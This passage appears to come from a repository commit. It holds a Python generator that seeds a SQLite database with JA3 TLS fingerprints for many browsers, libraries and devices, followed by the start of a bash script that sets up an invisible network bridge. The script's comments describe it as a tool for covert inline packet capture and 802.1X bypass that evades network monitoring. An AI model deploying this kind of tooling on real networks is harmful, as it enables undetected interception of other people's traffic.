0xc02b, 0xc02f,
0xc024, 0xc028,
0xc023, 0xc027,
0xc00a, 0xc014,
0xc009, 0xc013,
0x009d, 0x009c,
0x003d, 0x003c,
0x0035, 0x002f,
]
# mbedTLS (IoT)
MBEDTLS_CIPHERS = [
0xc02c, 0xc02b, 0xc030, 0xc02f,
0xc024, 0xc023, 0xc028, 0xc027,
0xc00a, 0xc009, 0xc014, 0xc013,
0x009d, 0x009c,
0x003d, 0x003c,
0x0035, 0x002f,
]
# wolfSSL
WOLFSSL_CIPHERS = [
0x1301, 0x1302, 0x1303,
0xc02c, 0xc02b, 0xc030, 0xc02f,
0xc00a, 0xc009, 0xc014, 0xc013,
0x009d, 0x009c,
0x0035, 0x002f,
]
# Tor Browser (modified Firefox ESR)
TOR_CIPHERS = [
0x1301, 0x1303, 0x1302,
0xc02b, 0xc02f, 0xcca9, 0xcca8,
0xc02c, 0xc030,
0xc013, 0xc014,
0x009c, 0x009d,
0x002f, 0x0035,
]
# ---------------------------------------------------------------------------
# Extension sets
# ---------------------------------------------------------------------------
CHROME_EXT_V1 = [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 17513, 21]
CHROME_EXT_V2 = [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 17513, 21, 41]
CHROME_EXT_V3 = [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 17513, 21, 41, 57] # post-quantum
CHROME_EXT_ANDROID = [0, 23, 65281, 10, 11, 35, 16, 5, 13, 51, 45, 43, 27, 17513, 21]
FIREFOX_EXT_V1 = [0, 23, 65281, 10, 11, 35, 16, 5, 34, 51, 43, 13, 45, 28, 21]
FIREFOX_EXT_V2 = [0, 23, 65281, 10, 11, 35, 16, 5, 34, 51, 43, 13, 45, 28, 21, 41]
FIREFOX_EXT_V3 = [0, 23, 65281, 10, 11, 35, 16, 5, 34, 51, 43, 13, 45, 28, 21, 41, 57]
SAFARI_EXT = [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 21]
SAFARI_IOS_EXT = [0, 23, 65281, 10, 11, 35, 16, 5, 13, 51, 45, 43, 27, 21]
OPENSSL_EXT = [0, 23, 65281, 10, 11, 35, 16, 22, 13]
OPENSSL_3_EXT = [0, 23, 65281, 10, 11, 35, 16, 22, 13, 43, 51, 45]
GO_EXT = [0, 5, 10, 11, 13, 16, 18, 23, 27, 43, 45, 51, 65281]
JAVA_EXT = [0, 5, 10, 11, 13, 16, 23, 43, 45, 51, 65281]
DOTNET_EXT = [0, 10, 11, 13, 16, 23, 35, 43, 51, 65281]
NODE_EXT = [0, 23, 65281, 10, 11, 35, 16, 22, 13, 43, 51, 45]
CURL_EXT = [0, 23, 65281, 10, 11, 35, 16, 22, 13, 43, 51, 45]
WGET_EXT = [0, 23, 65281, 10, 11, 16, 13, 43, 51, 45]
TOR_EXT = [0, 23, 65281, 10, 11, 35, 16, 5, 34, 51, 43, 13, 45, 28, 21]
MBEDTLS_EXT = [0, 10, 11, 13, 16, 23, 65281]
WOLFSSL_EXT = [0, 10, 11, 13, 16, 23, 43, 51, 45, 65281]
# ---------------------------------------------------------------------------
# Elliptic curve sets
# ---------------------------------------------------------------------------
CHROME_CURVES = [29, 23, 24] # x25519, secp256r1, secp384r1
CHROME_CURVES_PQ = [29, 23, 24, 25497] # + X25519Kyber768
FIREFOX_CURVES = [29, 23, 24, 25] # + secp521r1
FIREFOX_CURVES_PQ = [29, 23, 24, 25, 25497]
SAFARI_CURVES = [29, 23, 24, 25]
GO_CURVES = [29, 23, 24]
JAVA_CURVES = [29, 23, 24, 25]
OPENSSL_CURVES = [29, 23, 24, 25]
DOTNET_CURVES = [29, 23, 24]
MBEDTLS_CURVES = [23, 24, 25] # No x25519
WOLFSSL_CURVES = [29, 23, 24]
TOR_CURVES = [29, 23, 24, 25]
EC_FORMATS_STANDARD = [0] # uncompressed
EC_FORMATS_ALL = [0, 1, 2] # uncompressed, ansiX962_compressed_prime, ansiX962_compressed_char2
def _gen_chrome_profiles() -> list[tuple]:
"""Generate Chrome/Chromium profiles across versions and platforms."""
profiles = []
platforms = [
("win", "Windows 10/11"),
("mac", "macOS"),
("linux", "Linux"),
("android", "Android"),
]
for ver in range(100, 125):
for plat_key, plat_desc in platforms:
if ver < 120:
ciphers = CHROMIUM_CIPHERS_V1
ext = CHROME_EXT_ANDROID if plat_key == "android" else CHROME_EXT_V1
curves = CHROME_CURVES
elif ver < 122:
ciphers = CHROMIUM_CIPHERS_V2
ext = CHROME_EXT_ANDROID if plat_key == "android" else CHROME_EXT_V2
curves = CHROME_CURVES
else:
ciphers = CHROMIUM_CIPHERS_V3
ext = CHROME_EXT_ANDROID if plat_key == "android" else CHROME_EXT_V3
curves = CHROME_CURVES_PQ
ja3_hash = compute_ja3(771, ciphers, ext, curves, EC_FORMATS_STANDARD)
name = f"chrome_{ver}_{plat_key}"
desc = f"Chrome {ver} on {plat_desc}"
profiles.append((
name, ja3_hash, desc,
json.dumps(ciphers), json.dumps(ext),
json.dumps(curves), json.dumps(EC_FORMATS_STANDARD),
))
return profiles
def _gen_firefox_profiles() -> list[tuple]:
"""Generate Firefox profiles."""
profiles = []
platforms = [
("win", "Windows 10/11"),
("mac", "macOS"),
("linux", "Linux"),
]
for ver in range(100, 126):
for plat_key, plat_desc in platforms:
if ver < 118:
ciphers = FIREFOX_CIPHERS_V1
ext = FIREFOX_EXT_V1
curves = FIREFOX_CURVES
elif ver < 123:
ciphers = FIREFOX_CIPHERS_V2
ext = FIREFOX_EXT_V2
curves = FIREFOX_CURVES
else:
ciphers = FIREFOX_CIPHERS_V2
ext = FIREFOX_EXT_V3
curves = FIREFOX_CURVES_PQ
ja3_hash = compute_ja3(771, ciphers, ext, curves, EC_FORMATS_STANDARD)
name = f"firefox_{ver}_{plat_key}"
desc = f"Firefox {ver} on {plat_desc}"
profiles.append((
name, ja3_hash, desc,
json.dumps(ciphers), json.dumps(ext),
json.dumps(curves), json.dumps(EC_FORMATS_STANDARD),
))
return profiles
def _gen_edge_profiles() -> list[tuple]:
"""Generate Edge profiles (Chromium-based, similar but not identical to Chrome)."""
profiles = []
for ver in range(100, 125):
if ver < 120:
ciphers = CHROMIUM_CIPHERS_V1
ext = CHROME_EXT_V1
curves = CHROME_CURVES
elif ver < 122:
ciphers = CHROMIUM_CIPHERS_V2
ext = CHROME_EXT_V2
curves = CHROME_CURVES
else:
ciphers = CHROMIUM_CIPHERS_V3
ext = CHROME_EXT_V3
curves = CHROME_CURVES_PQ
# Edge adds a few extra extensions on Windows
edge_ext = ext + [34]
ja3_hash = compute_ja3(771, ciphers, edge_ext, curves, EC_FORMATS_STANDARD)
name = f"edge_{ver}_win"
desc = f"Edge {ver} on Windows 10/11"
profiles.append((
name, ja3_hash, desc,
json.dumps(ciphers), json.dumps(edge_ext),
json.dumps(curves), json.dumps(EC_FORMATS_STANDARD),
))
return profiles
def _gen_safari_profiles() -> list[tuple]:
"""Generate Safari profiles (macOS + iOS)."""
profiles = []
# macOS Safari versions 15-17
for ver in range(15, 18):
for minor in range(0, 6):
ja3_hash = compute_ja3(771, SAFARI_CIPHERS, SAFARI_EXT, SAFARI_CURVES, EC_FORMATS_STANDARD)
name = f"safari_{ver}_{minor}_mac"
desc = f"Safari {ver}.{minor} on macOS"
profiles.append((
name, ja3_hash, desc,
json.dumps(SAFARI_CIPHERS), json.dumps(SAFARI_EXT),
json.dumps(SAFARI_CURVES), json.dumps(EC_FORMATS_STANDARD),
))
# iOS Safari versions 15-17
for ver in range(15, 18):
for minor in range(0, 6):
ja3_hash = compute_ja3(771, SAFARI_IOS_CIPHERS, SAFARI_IOS_EXT, SAFARI_CURVES, EC_FORMATS_STANDARD)
name = f"safari_{ver}_{minor}_ios"
desc = f"Safari {ver}.{minor} on iOS"
profiles.append((
name, ja3_hash, desc,
json.dumps(SAFARI_IOS_CIPHERS), json.dumps(SAFARI_IOS_EXT),
json.dumps(SAFARI_CURVES), json.dumps(EC_FORMATS_STANDARD),
))
return profiles
def _gen_opera_profiles() -> list[tuple]:
"""Generate Opera profiles (Chromium-based)."""
profiles = []
for ver in range(86, 106):
ciphers = CHROMIUM_CIPHERS_V2 if ver >= 105 else CHROMIUM_CIPHERS_V1
ext = CHROME_EXT_V2 if ver >= 105 else CHROME_EXT_V1
curves = CHROME_CURVES
ja3_hash = compute_ja3(771, ciphers, ext, curves, EC_FORMATS_STANDARD)
name = f"opera_{ver}_win"
desc = f"Opera {ver} on Windows"
profiles.append((
name, ja3_hash, desc,
json.dumps(ciphers), json.dumps(ext),
json.dumps(curves), json.dumps(EC_FORMATS_STANDARD),
))
return profiles
def _gen_brave_profiles() -> list[tuple]:
"""Generate Brave profiles (Chromium-based, randomized fingerprint features)."""
profiles = []
platforms = [("win", "Windows"), ("mac", "macOS"), ("linux", "Linux")]
for ver in range(110, 125):
for plat_key, plat_desc in platforms:
ciphers = CHROMIUM_CIPHERS_V2 if ver >= 120 else CHROMIUM_CIPHERS_V1
ext = CHROME_EXT_V2 if ver >= 120 else CHROME_EXT_V1
curves = CHROME_CURVES
ja3_hash = compute_ja3(771, ciphers, ext, curves, EC_FORMATS_STANDARD)
name = f"brave_{ver}_{plat_key}"
desc = f"Brave {ver} on {plat_desc}"
profiles.append((
name, ja3_hash, desc,
json.dumps(ciphers), json.dumps(ext),
json.dumps(curves), json.dumps(EC_FORMATS_STANDARD),
))
return profiles
def _gen_tor_profiles() -> list[tuple]:
"""Generate Tor Browser profiles."""
profiles = []
for ver_major in range(12, 14):
for ver_minor in range(0, 6):
ja3_hash = compute_ja3(771, TOR_CIPHERS, TOR_EXT, TOR_CURVES, EC_FORMATS_STANDARD)
name = f"tor_{ver_major}_{ver_minor}"
desc = f"Tor Browser {ver_major}.{ver_minor}"
profiles.append((
name, ja3_hash, desc,
json.dumps(TOR_CIPHERS), json.dumps(TOR_EXT),
json.dumps(TOR_CURVES), json.dumps(EC_FORMATS_STANDARD),
))
return profiles
def _gen_library_profiles() -> list[tuple]:
"""Generate TLS library profiles."""
profiles = []
# OpenSSL versions
for minor in range(0, 10):
for patch in range(0, 3):
# OpenSSL 1.1.1x
ciphers = OPENSSL_11_CIPHERS
ext = OPENSSL_EXT
ja3_hash = compute_ja3(771, ciphers, ext, OPENSSL_CURVES, EC_FORMATS_ALL)
name = f"openssl_1_1_1_{chr(97 + minor)}"
desc = f"OpenSSL 1.1.1{chr(97 + minor)}"
profiles.append((
name, ja3_hash, desc,
json.dumps(ciphers), json.dumps(ext),
json.dumps(OPENSSL_CURVES), json.dumps(EC_FORMATS_ALL),
))
for minor in range(0, 5):
# OpenSSL 3.x
ciphers = OPENSSL_3_CIPHERS
ext = OPENSSL_3_EXT
ja3_hash = compute_ja3(771, ciphers, ext, OPENSSL_CURVES, EC_FORMATS_ALL)
name = f"openssl_3_{minor}"
desc = f"OpenSSL 3.{minor}"
profiles.append((
name, ja3_hash, desc,
json.dumps(ciphers), json.dumps(ext),
json.dumps(OPENSSL_CURVES), json.dumps(EC_FORMATS_ALL),
))
# Go versions
for minor in range(18, 23):
ja3_hash = compute_ja3(771, GO_CIPHERS, GO_EXT, GO_CURVES, EC_FORMATS_STANDARD)
name = f"go_1_{minor}"
desc = f"Go 1.{minor} net/http"
profiles.append((
name, ja3_hash, desc,
json.dumps(GO_CIPHERS), json.dumps(GO_EXT),
json.dumps(GO_CURVES), json.dumps(EC_FORMATS_STANDARD),
))
# Java versions
for ver in [8, 11, 17, 21]:
ciphers = JAVA_17_CIPHERS if ver >= 17 else JAVA_11_CIPHERS
ja3_hash = compute_ja3(771, ciphers, JAVA_EXT, JAVA_CURVES, EC_FORMATS_STANDARD)
name = f"java_jdk_{ver}"
desc = f"Java JDK {ver} JSSE"
profiles.append((
name, ja3_hash, desc,
json.dumps(ciphers), json.dumps(JAVA_EXT),
json.dumps(JAVA_CURVES), json.dumps(EC_FORMATS_STANDARD),
))
# .NET versions
for ver in ["6", "7", "8"]:
ja3_hash = compute_ja3(771, DOTNET_CIPHERS, DOTNET_EXT, DOTNET_CURVES, EC_FORMATS_STANDARD)
name = f"dotnet_{ver}"
desc = f".NET {ver} HttpClient (SChannel)"
profiles.append((
name, ja3_hash, desc,
json.dumps(DOTNET_CIPHERS), json.dumps(DOTNET_EXT),
json.dumps(DOTNET_CURVES), json.dumps(EC_FORMATS_STANDARD),
))
# Node.js versions
for ver in range(16, 22):
ja3_hash = compute_ja3(771, NODEJS_CIPHERS, NODE_EXT, OPENSSL_CURVES, EC_FORMATS_ALL)
name = f"nodejs_{ver}"
desc = f"Node.js {ver} https"
profiles.append((
name, ja3_hash, desc,
json.dumps(NODEJS_CIPHERS), json.dumps(NODE_EXT),
json.dumps(OPENSSL_CURVES), json.dumps(EC_FORMATS_ALL),
))
# mbedTLS versions
for ver in ["2.28", "3.0", "3.4", "3.5"]:
ja3_hash = compute_ja3(771, MBEDTLS_CIPHERS, MBEDTLS_EXT, MBEDTLS_CURVES, EC_FORMATS_STANDARD)
name = f"mbedtls_{ver.replace('.', '_')}"
desc = f"mbedTLS {ver}"
profiles.append((
name, ja3_hash, desc,
json.dumps(MBEDTLS_CIPHERS), json.dumps(MBEDTLS_EXT),
json.dumps(MBEDTLS_CURVES), json.dumps(EC_FORMATS_STANDARD),
))
# wolfSSL
for ver in ["5.5", "5.6", "5.7"]:
ja3_hash = compute_ja3(771, WOLFSSL_CIPHERS, WOLFSSL_EXT, WOLFSSL_CURVES, EC_FORMATS_STANDARD)
name = f"wolfssl_{ver.replace('.', '_')}"
desc = f"wolfSSL {ver}"
profiles.append((
name, ja3_hash, desc,
json.dumps(WOLFSSL_CIPHERS), json.dumps(WOLFSSL_EXT),
json.dumps(WOLFSSL_CURVES), json.dumps(EC_FORMATS_STANDARD),
))
return profiles
def _gen_tool_profiles() -> list[tuple]:
"""Generate common tool profiles."""
profiles = []
# curl with different backends
for ver in ["7.81", "7.88", "8.0", "8.1", "8.4", "8.5", "8.6", "8.7"]:
ja3_hash = compute_ja3(771, CURL_OPENSSL_CIPHERS, CURL_EXT, OPENSSL_CURVES, EC_FORMATS_ALL)
name = f"curl_{ver.replace('.', '_')}_openssl"
desc = f"curl/{ver} (OpenSSL)"
profiles.append((
name, ja3_hash, desc,
json.dumps(CURL_OPENSSL_CIPHERS), json.dumps(CURL_EXT),
json.dumps(OPENSSL_CURVES), json.dumps(EC_FORMATS_ALL),
))
for ver in ["7.76", "7.79", "7.81"]:
ja3_hash = compute_ja3(771, CURL_NSS_CIPHERS, CURL_EXT, FIREFOX_CURVES, EC_FORMATS_STANDARD)
name = f"curl_{ver.replace('.', '_')}_nss"
desc = f"curl/{ver} (NSS)"
profiles.append((
name, ja3_hash, desc,
json.dumps(CURL_NSS_CIPHERS), json.dumps(CURL_EXT),
json.dumps(FIREFOX_CURVES), json.dumps(EC_FORMATS_STANDARD),
))
# wget
for ver in ["1.21", "2.0", "2.1"]:
ja3_hash = compute_ja3(771, WGET_CIPHERS, WGET_EXT, OPENSSL_CURVES, EC_FORMATS_STANDARD)
name = f"wget_{ver.replace('.', '_')}"
desc = f"wget/{ver} (GnuTLS)"
profiles.append((
name, ja3_hash, desc,
json.dumps(WGET_CIPHERS), json.dumps(WGET_EXT),
json.dumps(OPENSSL_CURVES), json.dumps(EC_FORMATS_STANDARD),
))
# Python requests/urllib3/httpx
for lib in ["requests_2_31", "requests_2_32", "httpx_0_25", "httpx_0_27",
"aiohttp_3_9", "urllib3_2_1"]:
ja3_hash = compute_ja3(771, PYTHON_CIPHERS, OPENSSL_3_EXT, OPENSSL_CURVES, EC_FORMATS_ALL)
name = f"python_{lib}"
desc = f"Python {lib.replace('_', '/')}"
profiles.append((
name, ja3_hash, desc,
json.dumps(PYTHON_CIPHERS), json.dumps(OPENSSL_3_EXT),
json.dumps(OPENSSL_CURVES), json.dumps(EC_FORMATS_ALL),
))
# Rust reqwest (uses rustls)
RUSTLS_CIPHERS = [0x1301, 0x1302, 0x1303, 0xc02c, 0xc02b, 0xc030, 0xc02f, 0xcca9, 0xcca8]
RUSTLS_EXT = [0, 10, 11, 13, 16, 23, 43, 45, 51, 65281]
RUSTLS_CURVES = [29, 23, 24]
for ver in ["0_11", "0_12"]:
ja3_hash = compute_ja3(771, RUSTLS_CIPHERS, RUSTLS_EXT, RUSTLS_CURVES, EC_FORMATS_STANDARD)
name = f"rust_reqwest_{ver}"
desc = f"Rust reqwest {ver.replace('_', '.')} (rustls)"
profiles.append((
name, ja3_hash, desc,
json.dumps(RUSTLS_CIPHERS), json.dumps(RUSTLS_EXT),
json.dumps(RUSTLS_CURVES), json.dumps(EC_FORMATS_STANDARD),
))
return profiles
def _gen_mobile_profiles() -> list[tuple]:
"""Generate mobile-specific profiles beyond Android Chrome."""
profiles = []
# Samsung Internet
for ver in range(20, 25):
ciphers = CHROMIUM_CIPHERS_V2 if ver >= 23 else CHROMIUM_CIPHERS_V1
ext = CHROME_EXT_ANDROID
ja3_hash = compute_ja3(771, ciphers, ext, CHROME_CURVES, EC_FORMATS_STANDARD)
name = f"samsung_internet_{ver}_android"
desc = f"Samsung Internet {ver} on Android"
profiles.append((
name, ja3_hash, desc,
json.dumps(ciphers), json.dumps(ext),
json.dumps(CHROME_CURVES), json.dumps(EC_FORMATS_STANDARD),
))
# Android WebView
for ver in range(100, 125):
ciphers = CHROMIUM_CIPHERS_V2 if ver >= 120 else CHROMIUM_CIPHERS_V1
ext = CHROME_EXT_ANDROID
ja3_hash = compute_ja3(771, ciphers, ext, CHROME_CURVES, EC_FORMATS_STANDARD)
name = f"android_webview_{ver}"
desc = f"Android WebView {ver}"
profiles.append((
name, ja3_hash, desc,
json.dumps(ciphers), json.dumps(ext),
json.dumps(CHROME_CURVES), json.dumps(EC_FORMATS_STANDARD),
))
# iOS WKWebView (uses Apple Secure Transport, same as Safari)
for ver in range(15, 18):
for minor in range(0, 5):
ja3_hash = compute_ja3(771, SAFARI_IOS_CIPHERS, SAFARI_IOS_EXT, SAFARI_CURVES, EC_FORMATS_STANDARD)
name = f"ios_wkwebview_{ver}_{minor}"
desc = f"iOS {ver}.{minor} WKWebView"
profiles.append((
name, ja3_hash, desc,
json.dumps(SAFARI_IOS_CIPHERS), json.dumps(SAFARI_IOS_EXT),
json.dumps(SAFARI_CURVES), json.dumps(EC_FORMATS_STANDARD),
))
return profiles
def _gen_iot_embedded_profiles() -> list[tuple]:
"""Generate IoT and embedded client profiles."""
profiles = []
# ESP32 (mbedTLS-based)
ESP32_CIPHERS = [0xc02c, 0xc02b, 0x009d, 0x009c, 0x0035, 0x002f]
ESP32_EXT = [0, 10, 11, 13, 23, 65281]
ESP32_CURVES = [23, 24]
for sdk_ver in ["4.4", "5.0", "5.1", "5.2"]:
ja3_hash = compute_ja3(771, ESP32_CIPHERS, ESP32_EXT, ESP32_CURVES, EC_FORMATS_STANDARD)
name = f"esp32_idf_{sdk_ver.replace('.', '_')}"
desc = f"ESP-IDF {sdk_ver} (ESP32)"
profiles.append((
name, ja3_hash, desc,
json.dumps(ESP32_CIPHERS), json.dumps(ESP32_EXT),
json.dumps(ESP32_CURVES), json.dumps(EC_FORMATS_STANDARD),
))
# AWS IoT SDK (OpenSSL-based)
AWS_IOT_CIPHERS = [0x1301, 0x1302, 0x1303, 0xc02c, 0xc02b, 0xc030, 0xc02f, 0x009d, 0x009c, 0x0035, 0x002f]
AWS_IOT_EXT = [0, 10, 11, 13, 16, 23, 43, 45, 51, 65281]
for sdk_ver in ["1.0", "1.1", "2.0"]:
ja3_hash = compute_ja3(771, AWS_IOT_CIPHERS, AWS_IOT_EXT, OPENSSL_CURVES, EC_FORMATS_STANDARD)
name = f"aws_iot_sdk_{sdk_ver.replace('.', '_')}"
desc = f"AWS IoT Device SDK {sdk_ver}"
profiles.append((
name, ja3_hash, desc,
json.dumps(AWS_IOT_CIPHERS), json.dumps(AWS_IOT_EXT),
json.dumps(OPENSSL_CURVES), json.dumps(EC_FORMATS_STANDARD),
))
# Azure IoT SDK
AZURE_IOT_CIPHERS = OPENSSL_3_CIPHERS
for sdk_ver in ["1.10", "1.11", "1.12"]:
ja3_hash = compute_ja3(771, AZURE_IOT_CIPHERS, OPENSSL_3_EXT, OPENSSL_CURVES, EC_FORMATS_ALL)
name = f"azure_iot_sdk_{sdk_ver.replace('.', '_')}"
desc = f"Azure IoT SDK {sdk_ver}"
profiles.append((
name, ja3_hash, desc,
json.dumps(AZURE_IOT_CIPHERS), json.dumps(OPENSSL_3_EXT),
json.dumps(OPENSSL_CURVES), json.dumps(EC_FORMATS_ALL),
))
# Smart home devices (various embedded TLS stacks)
SMART_HOME_CIPHERS = [0xc02c, 0xc02b, 0xc030, 0xc02f, 0x009d, 0x009c, 0x0035, 0x002f]
SMART_HOME_EXT = [0, 10, 11, 13, 23, 65281]
for device in ["ring_doorbell", "nest_cam", "hue_bridge", "echo_dot",
"google_home", "sonos_one", "roku_ultra", "apple_tv",
"fire_tv", "nvidia_shield"]:
ja3_hash = compute_ja3(771, SMART_HOME_CIPHERS, SMART_HOME_EXT, [23, 24], EC_FORMATS_STANDARD)
name = f"iot_{device}"
desc = f"IoT: {device.replace('_', ' ').title()}"
profiles.append((
name, ja3_hash, desc,
json.dumps(SMART_HOME_CIPHERS), json.dumps(SMART_HOME_EXT),
json.dumps([23, 24]), json.dumps(EC_FORMATS_STANDARD),
))
return profiles
def _gen_chromeos_profiles() -> list[tuple]:
"""Generate ChromeOS profiles."""
profiles = []
for ver in range(110, 125):
ciphers = CHROMIUM_CIPHERS_V2 if ver >= 120 else CHROMIUM_CIPHERS_V1
ext = CHROME_EXT_V2 if ver >= 120 else CHROME_EXT_V1
curves = CHROME_CURVES_PQ if ver >= 122 else CHROME_CURVES
ja3_hash = compute_ja3(771, ciphers, ext, curves, EC_FORMATS_STANDARD)
name = f"chromeos_{ver}"
desc = f"ChromeOS {ver}"
profiles.append((
name, ja3_hash, desc,
json.dumps(ciphers), json.dumps(ext),
json.dumps(curves), json.dumps(EC_FORMATS_STANDARD),
))
return profiles
def _gen_vivaldi_profiles() -> list[tuple]:
"""Generate Vivaldi profiles (Chromium-based)."""
profiles = []
for ver in range(5, 7):
for minor in range(0, 10):
ciphers = CHROMIUM_CIPHERS_V2 if ver >= 6 and minor >= 5 else CHROMIUM_CIPHERS_V1
ext = CHROME_EXT_V1
curves = CHROME_CURVES
ja3_hash = compute_ja3(771, ciphers, ext, curves, EC_FORMATS_STANDARD)
name = f"vivaldi_{ver}_{minor}_win"
desc = f"Vivaldi {ver}.{minor} on Windows"
profiles.append((
name, ja3_hash, desc,
json.dumps(ciphers), json.dumps(ext),
json.dumps(curves), json.dumps(EC_FORMATS_STANDARD),
))
return profiles
def _gen_vpn_client_profiles() -> list[tuple]:
"""Generate VPN client TLS profiles."""
profiles = []
# Cisco AnyConnect (OpenSSL-based)
for ver in ["4.10", "5.0", "5.1"]:
ja3_hash = compute_ja3(771, OPENSSL_3_CIPHERS, OPENSSL_3_EXT, OPENSSL_CURVES, EC_FORMATS_ALL)
name = f"cisco_anyconnect_{ver.replace('.', '_')}"
desc = f"Cisco AnyConnect {ver}"
profiles.append((
name, ja3_hash, desc,
json.dumps(OPENSSL_3_CIPHERS), json.dumps(OPENSSL_3_EXT),
json.dumps(OPENSSL_CURVES), json.dumps(EC_FORMATS_ALL),
))
# GlobalProtect (OpenSSL)
for ver in ["5.3", "6.0", "6.1", "6.2"]:
ja3_hash = compute_ja3(771, OPENSSL_3_CIPHERS, OPENSSL_3_EXT, OPENSSL_CURVES, EC_FORMATS_ALL)
name = f"globalprotect_{ver.replace('.', '_')}"
desc = f"Palo Alto GlobalProtect {ver}"
profiles.append((
name, ja3_hash, desc,
json.dumps(OPENSSL_3_CIPHERS), json.dumps(OPENSSL_3_EXT),
json.dumps(OPENSSL_CURVES), json.dumps(EC_FORMATS_ALL),
))
# OpenVPN (OpenSSL)
for ver in ["2.5", "2.6"]:
ja3_hash = compute_ja3(771, OPENSSL_3_CIPHERS, OPENSSL_3_EXT, OPENSSL_CURVES, EC_FORMATS_ALL)
name = f"openvpn_{ver.replace('.', '_')}"
desc = f"OpenVPN {ver}"
profiles.append((
name, ja3_hash, desc,
json.dumps(OPENSSL_3_CIPHERS), json.dumps(OPENSSL_3_EXT),
json.dumps(OPENSSL_CURVES), json.dumps(EC_FORMATS_ALL),
))
# Cloudflare WARP
WARP_CIPHERS = [0x1301, 0x1302, 0x1303, 0xc02b, 0xc02f, 0xc02c, 0xc030, 0xcca9, 0xcca8]
WARP_EXT = [0, 10, 11, 13, 16, 23, 43, 45, 51, 65281]
ja3_hash = compute_ja3(771, WARP_CIPHERS, WARP_EXT, [29, 23, 24], EC_FORMATS_STANDARD)
profiles.append((
"cloudflare_warp", ja3_hash, "Cloudflare WARP (BoringSSL)",
json.dumps(WARP_CIPHERS), json.dumps(WARP_EXT),
json.dumps([29, 23, 24]), json.dumps(EC_FORMATS_STANDARD),
))
return profiles
def _gen_electron_profiles() -> list[tuple]:
"""Generate Electron app profiles (Chromium-based)."""
profiles = []
apps = [
("vscode", "VS Code"), ("slack", "Slack"), ("discord", "Discord"),
("teams", "Microsoft Teams"), ("signal_desktop", "Signal Desktop"),
("spotify", "Spotify Desktop"), ("figma", "Figma Desktop"),
("notion", "Notion"), ("obsidian", "Obsidian"),
("1password", "1Password"), ("bitwarden", "Bitwarden"),
("postman", "Postman"), ("whatsapp_desktop", "WhatsApp Desktop"),
]
for app_id, app_name in apps:
# Electron uses Chromium's TLS stack
ciphers = CHROMIUM_CIPHERS_V2
ext = CHROME_EXT_V2
curves = CHROME_CURVES
ja3_hash = compute_ja3(771, ciphers, ext, curves, EC_FORMATS_STANDARD)
name = f"electron_{app_id}"
desc = f"Electron: {app_name}"
profiles.append((
name, ja3_hash, desc,
json.dumps(ciphers), json.dumps(ext),
json.dumps(curves), json.dumps(EC_FORMATS_STANDARD),
))
return profiles
def generate_all_profiles() -> list[tuple]:
"""Generate all JA3 profiles. Returns list of (name, hash, desc, ciphers, ext, curves, formats)."""
all_profiles = []
all_profiles.extend(_gen_chrome_profiles())
all_profiles.extend(_gen_firefox_profiles())
all_profiles.extend(_gen_edge_profiles())
all_profiles.extend(_gen_safari_profiles())
all_profiles.extend(_gen_opera_profiles())
all_profiles.extend(_gen_brave_profiles())
all_profiles.extend(_gen_tor_profiles())
all_profiles.extend(_gen_library_profiles())
all_profiles.extend(_gen_tool_profiles())
all_profiles.extend(_gen_mobile_profiles())
all_profiles.extend(_gen_iot_embedded_profiles())
all_profiles.extend(_gen_chromeos_profiles())
all_profiles.extend(_gen_vivaldi_profiles())
all_profiles.extend(_gen_vpn_client_profiles())
all_profiles.extend(_gen_electron_profiles())
# Deduplicate by name
seen = set()
unique = []
for p in all_profiles:
if p[0] not in seen:
seen.add(p[0])
unique.append(p)
return unique
def seed_ja3_db(db_path: str) -> int:
"""Seed a ja3_fingerprints.db with all generated profiles.
Returns the total number of profiles in the database.
"""
profiles = generate_all_profiles()
conn = sqlite3.connect(db_path)
conn.execute("PRAGMA journal_mode=WAL")
conn.executescript("""
CREATE TABLE IF NOT EXISTS ja3_profiles (
name TEXT PRIMARY KEY,
ja3_hash TEXT NOT NULL,
description TEXT DEFAULT '',
cipher_suites TEXT NOT NULL DEFAULT '[]',
extensions TEXT NOT NULL DEFAULT '[]',
elliptic_curves TEXT NOT NULL DEFAULT '[]',
ec_point_formats TEXT NOT NULL DEFAULT '[0]'
);
CREATE INDEX IF NOT EXISTS idx_ja3_hash ON ja3_profiles(ja3_hash);
""")
conn.executemany(
"INSERT OR REPLACE INTO ja3_profiles "
"(name, ja3_hash, description, cipher_suites, extensions, elliptic_curves, ec_point_formats) "
"VALUES (?, ?, ?, ?, ?, ?, ?)",
profiles,
)
conn.commit()
count = conn.execute("SELECT COUNT(*) FROM ja3_profiles").fetchone()[0]
conn.close()
return count
if __name__ == "__main__":
import sys
if len(sys.argv) > 1:
db_path = sys.argv[1]
else:
db_path = str(Path(__file__).resolve().parent.parent / "data" / "ja3_fingerprints.db")
count = seed_ja3_db(db_path)
print(f"Seeded {count} JA3 profiles to {db_path}")
+142
View File
@@ -0,0 +1,142 @@
#!/usr/bin/env bash
# Create transparent bridge between two interfaces
# Usage: setup_bridge.sh <if1> <if2>
# No IP assigned — invisible on network
#
# This script creates a Layer 2 bridge for inline packet capture and
# 802.1X bypass. The bridge has NO IP address, making it undetectable
# via network scanning. STP/BPDU/CDP/LLDP frames are suppressed via
# ebtables to avoid triggering network monitoring systems.
set -euo pipefail
BRIDGE="br0"
# --------------------------------------------------------------------------
# Validate arguments
# --------------------------------------------------------------------------
if [[ $# -ne 2 ]]; then
echo "Usage: $0 <interface1> <interface2>" >&2
exit 1
fi
IF1="$1"
IF2="$2"
# Verify interfaces exist
for iface in "$IF1" "$IF2"; do
if ! ip link show "$iface" &>/dev/null; then
echo "Error: interface $iface does not exist" >&2
exit 1
fi
done
# --------------------------------------------------------------------------
# Cleanup any existing bridge
# --------------------------------------------------------------------------
if ip link show "$BRIDGE" &>/dev/null; then
echo "Removing existing bridge $BRIDGE"
ip link set down dev "$BRIDGE" 2>/dev/null || true
ip link del "$BRIDGE" 2>/dev/null || true
fi
# --------------------------------------------------------------------------
# Create bridge
# --------------------------------------------------------------------------
echo "Creating bridge $BRIDGE: $IF1 <-> $IF2"
# Create the bridge device
ip link add name "$BRIDGE" type bridge
# Disable Spanning Tree Protocol
ip link set "$BRIDGE" type bridge stp_state 0
# Zero forwarding delay — start forwarding immediately
ip link set "$BRIDGE" type bridge forward_delay 0
# Disable ageing to keep all MACs in forwarding table
ip link set "$BRIDGE" type bridge ageing_time 0
